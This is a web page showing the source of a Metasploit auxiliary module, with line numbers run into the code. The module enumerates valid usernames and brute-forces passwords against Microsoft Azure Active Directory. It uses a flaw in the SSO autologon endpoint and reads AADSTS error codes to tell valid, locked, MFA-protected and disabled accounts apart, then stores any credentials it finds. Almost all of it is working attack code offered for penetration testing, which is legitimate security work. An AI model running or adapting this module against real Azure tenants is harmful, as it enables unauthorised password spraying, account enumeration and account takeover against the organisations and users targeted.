CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/auxiliary/scanner/http/azure_ad_login.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::AuthBrute910def initialize11super(12'Name' => 'Microsoft Azure Active Directory Login Enumeration',13'Description' => %q{14This module enumerates valid usernames and passwords against a15Microsoft Azure Active Directory domain by utilizing a flaw in16how SSO authenticates.17},18'Author' => [19'Matthew Dunn - k0pak4'20],21'License' => MSF_LICENSE,22'References' => [23[ 'URL', 'https://raxis.com/blog/metasploit-azure-ad-login'],24[ 'URL', 'https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/'],25[ 'URL', 'https://github.com/treebuilder/aad-sso-enum-brute-spray'],26],27'DefaultOptions' => {28'RPORT' => 443,29'SSL' => true,30'RHOST' => 'autologon.microsoftazuread-sso.com',31'PASSWORD' => 'password'32}33)3435register_options(36[37OptString.new('RHOST', [true, 'The target Azure endpoint', 'autologon.microsoftazuread-sso.com']),38OptString.new('DOMAIN', [true, 'The target Azure AD domain']),39OptString.new('TARGETURI', [ true, 'The base path to the Azure autologon endpoint', '/winauth/trust/2005/usernamemixed']),40]41)4243deregister_options('VHOST', 'USER_AS_PASS',44'USERPASS_FILE', 'STOP_ON_SUCCESS', 'Proxies',45'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS',46'BLANK_PASSWORDS', 'RHOSTS')47end4849def report_login(address, domain, username, password)50# report information, if needed51service_data = service_details.merge({52address: address,53service_name: 'Azure AD',54workspace_id: myworkspace_id55})56credential_data = {57origin_type: :service,58module_fullname: fullname,59realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,60realm_value: domain,61username: username,62private_data: password,63private_type: :password64}.merge(service_data)65login_data = {66last_attempted_at: DateTime.now,67core: create_credential(credential_data),68status: Metasploit::Model::Login::Status::SUCCESSFUL69}.merge(service_data)7071create_credential_login(login_data)72end7374def check_login(targeturi, domain, username, password)75request_id = SecureRandom.uuid76url = "https://#{rhost}/#{domain}#{targeturi}"7778created = Time.new.inspect79expires = (Time.new + 600).inspect8081message_id = SecureRandom.uuid82username_token = SecureRandom.uuid8384body = "<?xml version='1.0' encoding='UTF-8'?>85<s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope' xmlns:wsse='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' xmlns:saml='urn:oasis:names:tc:SAML:1.0:assertion' xmlns:wsp='http://schemas.xmlsoap.org/ws/2004/09/policy' xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:wssc='http://schemas.xmlsoap.org/ws/2005/02/sc' xmlns:wst='http://schemas.xmlsoap.org/ws/2005/02/trust' xmlns:ic='http://schemas.xmlsoap.org/ws/2005/05/identity'>86<s:Header>87<wsa:Action s:mustUnderstand='1'>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>88<wsa:To s:mustUnderstand='1'>#{url}</wsa:To>89<wsa:MessageID>urn:uuid:#{message_id}</wsa:MessageID>90<wsse:Security s:mustUnderstand=\"1\">91<wsu:Timestamp wsu:Id=\"_0\">92<wsu:Created>#{created}</wsu:Created>93<wsu:Expires>#{expires}</wsu:Expires>94</wsu:Timestamp>95<wsse:UsernameToken wsu:Id=\"#{username_token}\">96<wsse:Username>#{username.strip.encode(xml: :text)}@#{domain}</wsse:Username>97<wsse:Password>#{password.strip.encode(xml: :text)}</wsse:Password>98</wsse:UsernameToken>99</wsse:Security>100</s:Header>101<s:Body>102<wst:RequestSecurityToken Id='RST0'>103<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>104<wsp:AppliesTo>105<wsa:EndpointReference>106<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>107</wsa:EndpointReference>108</wsp:AppliesTo>109<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>110</wst:RequestSecurityToken>111</s:Body>112</s:Envelope>"113114res = send_request_raw({115'uri' => "/#{domain}#{targeturi}",116'method' => 'POST',117'vars_get' => {118'client-request-id' => request_id119},120'data' => body121})122123unless res124fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")125end126127@target_host ||= report_host(host: rhost, name: rhost, state: Msf::HostState::Alive)128129# Check the XML response for either the SSO Token or the error code130xml = res.get_xml_document131xml.remove_namespaces!132133if xml.xpath('//DesktopSsoToken')[0]134auth_details = xml.xpath('//DesktopSsoToken')[0].text135else136auth_details = xml.xpath('//internalerror/text')[0].text137end138139if xml.xpath('//DesktopSsoToken')[0]140print_good("Login #{domain}\\#{username}:#{password} is valid!")141print_good("Desktop SSO Token: #{auth_details}")142report_login(@target_host.address, domain, username, password)143:next_user144elsif auth_details.start_with?('AADSTS50126') # Valid user but incorrect password145print_good("Password #{password} is invalid but #{domain}\\#{username} is valid!")146report_login(@target_host.address, domain, username, nil)147elsif auth_details.start_with?('AADSTS50056') # User exists without a password in Azure AD148print_good("#{domain}\\#{username} is valid but the user does not have a password in Azure AD!")149report_login(@target_host.address, domain, username, nil)150:next_user151elsif auth_details.start_with?('AADSTS50076') # User exists, but you need MFA to connect to this resource152print_good("Login #{domain}\\#{username}:#{password} is valid, but you need MFA to connect to this resource")153report_login(@target_host.address, domain, username, password)154:next_user155elsif auth_details.start_with?('AADSTS50014') # User exists, but the maximum Pass-through Authentication time was exceeded156print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded")157report_login(@target_host.address, domain, username, nil)158elsif auth_details.start_with?('AADSTS50034') # User does not exist159print_error("#{domain}\\#{username} is not a valid user")160elsif auth_details.start_with?('AADSTS50053') # Account is locked161print_error("#{domain}\\#{username} is locked, consider taking time before continuing to scan!")162:next_user163elsif auth_details.start_with?('AADSTS50057') # User exists, but is disabled so we don't report164print_error("#{domain}\\#{username} exists but is disabled; it will not be reported")165:next_user166else # Unknown error code167print_error("Received unknown response with error code: #{auth_details}")168end169end170171def run172each_user_pass do |cur_user, cur_pass|173check_login(datastore['TARGETURI'], datastore['DOMAIN'], cur_user, cur_pass)174end175end176end177178179